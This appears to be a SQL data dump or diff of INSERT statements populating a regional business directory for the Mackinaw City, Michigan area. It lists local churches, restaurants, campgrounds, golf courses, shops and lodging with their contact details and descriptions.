+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (126,'','',12,1,'t','Mackinac State Historic Parks','P.O. Box 370','Mackinac Island','MI','49757','US','231-436-4100 or','','','','www.mackinacparks.com','Colonial Michilimackinac, Historic Mill Creek, & Fort Mackinac','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (337,'','',4,1,'t','The Church of the Straits','307 N. Huron at Janet Street','Mackinaw City','MI','49701','US','231-436-8682','','','','','United Methodist & Presbyterian (USA) Last Sunday in June thru Labor Day, service at 9:00 & 11:00 a.m. Nursery provided during winter months only. Service. Winter service 10:30 a.m. Church Sunday School at 9:30 a.m.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (338,'','',4,1,'t','St.Anthony''s Church','600 West Central Avenue','Mackinaw City','MI','49701','US','231-436-5561','','','','','Summer schedule begins July 4th weekend; Saturday Mass: 6:00 p.m. Sunday Masses: 9:00 & 11:00 a.m. through Labor Day weekend. Spring, Fall and Winter schedule: Saturday: 6:00 p.m. and Sunday: 10:00 a.m. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (339,'','',4,1,'t','Darrow Bros. Excavating Inc.','P.O. Box 3','Mackinaw City','MI','49701','US','231-436-5475','','231-436-8225','darrow@freeway.net','','Residential & Commercial Top Soil - Sand - Gravel - Stone - Site preparation - Driveways - Basements - Shoreline - Land clearing - Grading - Free Estimates - Insured','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (340,'','',3,1,'t','Northbound Publications','P.O. Box 790','Central Lake','MI','49622','US','','800-480-9649','','','www.northbound@torchlake.com','Printing and specialty publishing. Local publisher of the Fort Gazette. Graphic Design - Typesetting - Printing - Publishin - Brochures - Laminating - Short Run Color','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (127,'','',11,1,'t','Historic Depot Restaruant','Mackinaw Crossings','Mackinaw City','MI','49701','US','231-436-7060','','','','www.mackinawcrossings.com','Casual Dining. Lunch and Dinner. Full bar. Sandwiches - Steaks - Fresh Seafood.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (128,'','',11,1,'t','Legs Inn','6425 Lakeshore Drive ','Cross Village','MI','49723','US','231-526-2281','','','','www.legsinn.com','Famous historical landmark. Uncomparable family dining & fun. Polish & American cruisine. Unmatched atmosphere & decor. Dine in gardens with spectacular lake view sunsets. Live music & 100 beer choices. Recommended by critics & guests. Seasonal.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (129,'','',6,1,'t','Old Fort Mackinaw Candies, Inc.','321 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-5883','','','','www.fortfudge.com','Fudge-brittles-caramel corn made daily. A full line of sugar-free candies. Mail orders shipped promply. Souvenirs - Moccasins - Gifts.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (130,'','',6,1,'t','Sophia''s Shirt Shop & Things','109 Straits Avenue','Mackinaw City','MI','49701','US','231-436-7169','','','','www.fortfudge.com','Quilts, teddy bears, crystal, & gifts for all occassions. High quality sweatshirts, jackets, t-shirts, handcrafted quilted jackets, some up scale fashionwear. Holiday snowmen section & collectibles.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (132,'','',8,1,'t','Hessel Ridge Golf','2061 North Three Mile Road','Hessel','MI','49745','US','906-484-2107','888-660-9166','','','','Is a picturesque 18 hole golf course. Plush fairways, tree-lined boundaries and perfectly groomed greens provide a park-like setting for golfers of all skills. Great grass, great views, & great golf at reasonable rates. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (325,'','',6,1,'t','Mackinaw IGA','101 E. Central Avenue, P.O. Box 220','Mackinaw City','MI','49701','US','231-436-5502','','','','','','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (133,'','',8,1,'t','Indian River Golf Club','3301 Chippewa Beach Road','Indian River','MI','49749','US','231-238-7011','800-305-4742','','','','""Best Kept Secret in the North"" Detroit Freepress. 3 star rating Golf Digest''s Places to Play. 18 hole championship course, carved of virgin pine with watered greens, fairways & roughs, beautiful practice facility, PGA instruction available. Walk or ride with twilight rates available. Minutes off I-75, 30 minutes from Gaylord, Petoskey & Mackinaw City. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (134,'','',8,1,'t','Kincheloe Memorial Golf Club','50 Woodside Drive','Kincheloe','MI','49788','US','906-445-5706','','','','','Beautiful 7,000 yard, 18 hole course at retired Kincheloe Air Force Base. Owned by Kinross Township. Reasonable rates and exceptional conditions make this course a must play for golfers in the area. Amenities include bar, grill, and driving range. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (137,'','',12,1,'t','Garlyn Zoological Park','Hwy 2 ','Naubinway','MI','49762','US','906-477-1085','','','','www.garlynzoo.com','In Michigan''s beautiful upper peninsula. Only 40 minutes from the Mackinac Bridge. Featuring black bear, wolves, wallaby, camel, reindeer, whitetail deer, sika deer & more. Natural parklike setting. Gift Shop filled with wildlife related items.','logo5aa1.gif','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (326,'','',6,1,'t','Wicks & Pics','P.O. Box 1084 (Located in the Mackinaw Crossings)','Mackinaw City','MI','49701','US','231-436-7352','','','wicksandpics@voyager.net','','Open daily May-October, weekends until Christmas. Year \91round shipping available \96 custom orders on wedding candles. Widest selection of high quality candles in Northern Michigan, including A.I. Root, Dadant, DelMar, Village Candle and Bull Frog Light Company. From highly scented votives and jars to unscented dinner candles, pillars, tea lights, accessories, glassware, florals, snuffers and oil lamps.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (328,'','',3,1,'t','Mackinaw Journal & Mackinaw Today','P.O. Box 308','Mackinaw City','MI','49701','US','231-436-5458','','','tugrads@yahoo.com','','Published by B&B Publishing, LLC','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (329,'','',6,1,'t','Mackinaw Kite Company','P.O. Box 676 105 N. Huron Avenue','Mackinaw City','MI','49701','US','231-436-8051','','','','www.mackite.com','A full selection of high-performance kites, single line kites, windsocks, beach toys & flying toys. It''s where fun begins in Mackinaw!','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (138,'','',9,1,'t','Big Bear Adventures','4271 S. Straits Hwy.','Indian River','MI','49749','US','231-238-8181','888-75-NORTH','','','www.bigbearadventures.com','Exciting canoe, kayak, raft & tube trips on the Sturgeon River! Trips of varying lengths for all ages/skill levels from adventurous to relaxing. Enjoy our Family Fun Center with adventure golf, bungee bouncer, & snack bar. Group Packages Available','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (139,'','',6,1,'t','Coffman Hardware','227 Central Avenue','Mackinaw City','MI','49701','US','231-436-5650','','','','','Charming old time hardware & sporting goods store. Largest selection of cutlery in Northern Michigan. Specializing in Case pocket knifes & Morbles hunting knives. Everything for the camper, R.V. supplies, tents, sleeping bags,coleman parts & service, cast iron cookware, fishing tackle,live bait, hunting & fishing License, bike repair, keys cut, electrical & plumbing supplies, Martin senour paint.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (140,'','',6,1,'t','The Great Lakes Teddy Bear Factory','244 S. Huron Avenue (In Mackinaw Crossings)','Mackinaw City','MI','49701','US','231-436-BEAR','','231-436-4088','','','Kids of all ages design, stuff & create your own personalized teddy, right in our ""factory"". Receive a birth certificate & select a wardrobe. We supply guidance, you supply the love!','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (141,'','',9,1,'t','Just A Plain Farm','5055 Gill Rd.','Carp Lake','MI','49718','US','231-537-2302','','','japf@freeway.net','www.justaplainfarm.com','A scenic farm producing 100 acrea of pumpkins, squash, gourds, ornamental corn, veggies & sweet corn. Unique gifts & seasonal decorations produced in our barn. Hayrides, U-Pick, picnics, parties & fun. Open July - November. M-S 10-6. Sun. 12-6.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (143,'','',1,9,'t','KOA Campground','566 Trailsend Rd.','Mackinaw City','MI','49701','US','231-436-5643','800-KOA-1738','','','www.mackinawcitykoa.com','Open May 1 - Oct 15, 1999. Shaded sites among birch trees. Mostly pull-thru. Water/elec/sewer. Tent spaces, kamping kabins. Heated pool, playground, free movies, rec. room, grocery, souvenirs, propane, laundromat, nature trails. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (144,'','',1,9,'t','Mackinaw Mill Creek Campground','US 23 & Lake Huron','Mackinaw City','MI','49701','US','231-436-5584','','208-246-4350','','www.campmackinaw.com','Open May - Oct. 2 1/2 miles south of Mackinaw. 600 sites on Lake Huron. 200 full hookups, store, playgrounds, htd pool, mini-golf, Lp gas, 20 - 30 amp, cabins. Reservations accepted. Dump station, 200 acres of forest & natural beaches. Flush toliets & showers.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (145,'','',1,9,'t','Tee Pee Campground','11262 W. US 23','Mackinaw City','MI','49701','US','231-436-5391','','231-436-4091','','www.teepeecampground.com','On Straits of Mackinaw, with outstanding views of Mackinac Bridge, Mackinac Island, freighter and ferry traffic. 100 grassy, open or shaded sites for trailers or tents. Electric, water, fire ring, picnic table on each site. Clean, Modern restrooms, hot showers, sanitary station. Party Store with snacks, ice, wood, game room, internet access available. Beach, play area, swimming, basketball, horseshoes. Nightly beach bonfire. Complimentary island ferry and casino shuttle. Walk or bike to town. Reservations accepted. Open May - Oct. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (146,'','',1,9,'t','Wilderness State Park','','Carp Lake','MI','49718','US','231-436-5381','','','','','Located 11 miles west of the city, over 8,000 acres abound in wildlife, wildflowers, forests & natural beaches. Hunting & fishing, especially small mouth bass, are excellent. Trails for the nature lover, both winter & summer.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (147,'','',6,1,'t','Island Bookstore','215 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-2665','','','','www.islandbookstore.com','We are a full service bookstore & coffee shop that specializes in regional titles. We also carry children''s books & toys, gifts, stationary, magazines, & newspapers. If we don''t have the book you are looking for, we''ll special order it & ship it too!','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (175,'','',8,1,'t','Mackinaw City Municipal Marina','107 S. Huron','Mackinaw City','MI','49701','US','231-436-5269','','','','','In the heart of downtown. Transient & seasonal dockage, gas, oil, diesel, pump-out, water, 30 & 50 amp power, cable TV, restrooms, showers, laundry room, launch ramp. Picnic/grilling area & ice. Next to marine service. Grocery delivery.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (330,'','',3,1,'t','B&B Publishing','580 South Nicolet Street P.O. Box 308','Mackinaw City','MI','49701','US','231-436-5458','','231-436-8209','tugrads@yahoo.com','','B&B Publishing produces the Mackinaw Journal - Mackinaw City''s community newspaper, and Mackinaw Today, a series of tourist guides for the Straits Area.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (331,'','',6,1,'t','Twisted Crystal','301 E. Central Avenue - P.O. Box 954','Mackinaw City','MI','49701','US','231-436- 5121','','','info@twistedcrystal.com','www.twistedcrystal.com','Established in 1990, Twisted Crystal is a gallery of handcrafted wire-wrapped and beaded jewelry made by the owners and staff. Featuring genuine and lab-grown stones, sterling silver and beaded jewelry. (Prices) start at $3.00 and up. Casual clothing and fun gifts make shopping at Twisted Crystal a truly original Mackinaw City experience.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (177,'','',3,1,'t','Cheboygan Memorial Hospital','748 Main Street','Cheboygan','MI','49721','US','231-627-5601','','231-627-1471','','www.chmnet.com','Cheboygan Memorial Hospital in Cheboygan has 24-hr. emergency care, more than 50 physicians representing 17 medical specialties & a full range of primary care services. Long-term care, MRI, CT scanning & Bone Densitometry are available at CMH.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (178,'','',1,6,'t','Hawthorn Inn & Suites Lakeview','714 S. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5929','800-555-6225','','','www.mackinaw-city.com/lodging/hawthorne/index.html','New in 2000. Comp hot breakfast bar. Near shopping, dining & ferry. Indoor corridors, pool/whirlpool, all rms have private balconies with lakeview, extra lge suites w/kitchens & whirlpools, elevator. King & queen beds. ','acf223.jpg','','','','','','2002-12-12','2002-12-12','t','f','t','f','f','f','f','f','t','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (182,'','',11,1,'t','Mario''s Restorante','918 S. Huron Avenue','Mackinaw City','MI','49701','US','231-436-7818','','','mackinawdining@aol.com','www.mackinawdining.com','AAA approved. Open from May 15 to October 15 daily at 4pm. We offer fine Italian food as well as some American favorites. HAND TOSSED PIZZA. Children''s menu available, Beer, Wine, Cocktails, and fast free delivery of anything on our menu. Most major credit cards accepted','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (185,'','',7,1,'t','Coldwell Banker Northern Lakes','115 N. Huron Avenue','Mackinaw City','MI','49701','US','231-436-4151','','','','www.cbnorthernlakes.com','With offices in Mackinaw City, Cheboygan, Alanson, and Indian River, Coldwell Banker Northern Lakes serves the Straits of Mackinac and surrounding Inland Waterway areas. Our offices are open seven days a week, or you can visit our website to view all of our listings, all over Northern Michigan. Whether you are seeking a home on the Straits, property to build your dream home on, or recreational acreage to enjoy all the North has to offer, we can help! Coldwell Banker Northern Lakes looks forward to serving all your real estate needs.','acf14.jpg','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (332,'','',9,1,'t','Mackinaw City Jet Ski Rental','11384 W. US 23 (located at the Grandview Resort)','Mackinaw City','MI','49701','US','231-436-8400','','','','','A fabulous vacation on the water is waiting for you! Mackinaw City Jet Ski Rentals is going to make it the most enjoyable one yet. We have all your watersport recreational needs in one place. We offer the 2001 YAMAHA XL800. One, two or three person sit down Jet Ski watercraft. Equipped with a 90hp, dual carb engine, full instrumentation, side view mirrors, a large front storage area and a big ice chest makes this model our high-performance three passenger. 17'' YAMAHA EXCITER XL: Our 17'' Exciter jet boat is powered with twin 120 Hp Sport Jet engines. This boat seats up to 6 adults. It is equipped with an ice chest and a bimini top for shade. This boat is great choice if you are looking for a boat with the handling and fun of a personal watercraft.','acf906.jpg','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (334,'','',6,1,'t','Souvenirs Marugo','226 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-6278','','231-436-7078','danbobb@freeway.net','','An interesting assortment of souvenirs, novelties, toys, costume jewelry, knives, candles, incense & more. Located next to Kilwin''s and Scalawags on Central Avenue.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
